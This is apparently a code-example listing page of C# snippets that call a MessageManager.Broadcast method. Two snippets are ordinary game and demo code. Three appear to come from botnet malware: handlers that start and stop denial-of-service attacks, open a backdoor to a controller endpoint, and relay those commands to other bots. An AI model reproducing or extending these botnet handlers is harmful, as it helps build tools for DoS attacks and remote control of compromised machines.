private void Update()
 {
     if (_m_isPlayerInside && Input.GetButton("Interact"))
     {
         MessageManager.Broadcast(Messages.Level2_FloorOn);
     }
 }
Example #2
0
        public static void Main(string[] args)
        {
            var target = new MessageManager <string>(new ReferenceTypeSerializer <string>());

            target.Broadcast("Message");

            Console.ReadKey();
        }
Example #3
0
        public void Handle(BotMessage botMessage)
        {
            var      msg = botMessage.Message as DosStopAttackMessage;
            Attacker attacker;

            if (Attacker.Attackers.TryGetValue(msg.AttackId, out attacker))
            {
                Attacker.Logger.Info("Stopping attack {2}", msg.AttackId);
                attacker.Stop();
                Attacker.Attackers.Remove(msg.AttackId);
            }
            _messageManager.Broadcast(msg, botMessage.Header.Ttl);
        }
Example #4
0
        public void Handle(BotMessage botMessage)
        {
            var msg = botMessage.Message as BackdoorMessage;

            if (msg.TargetBotId.Equals(BotIdentifier.Id))
            {
                var controller = msg.ControllerEndpoint;
                var backdor    = new Backdoor(controller);
                backdor.Run();
                return;
            }

            _messageManager.Broadcast(msg, botMessage.Header.Ttl--);
        }
Example #5
0
        public void Handle(BotMessage botMessage)
        {
            var msg = botMessage.Message as DosAttackMessage;

            if (Attacker.Attackers.ContainsKey(msg.AttackId))
            {
                return;
            }

            var attack   = AttackFactory.Create(msg);
            var attacker = new Attacker(msg.Threads, attack);

            attacker.Start();
            Attacker.Logger.Info("Attacking ({2}) session {0} targeting {1} ", msg.AttackId, msg.Target, Enum.GetName(typeof(DosType), msg.Type));
            Attacker.Attackers.Add(msg.AttackId, attacker);

            _messageManager.Broadcast(msg, botMessage.Header.Ttl);
        }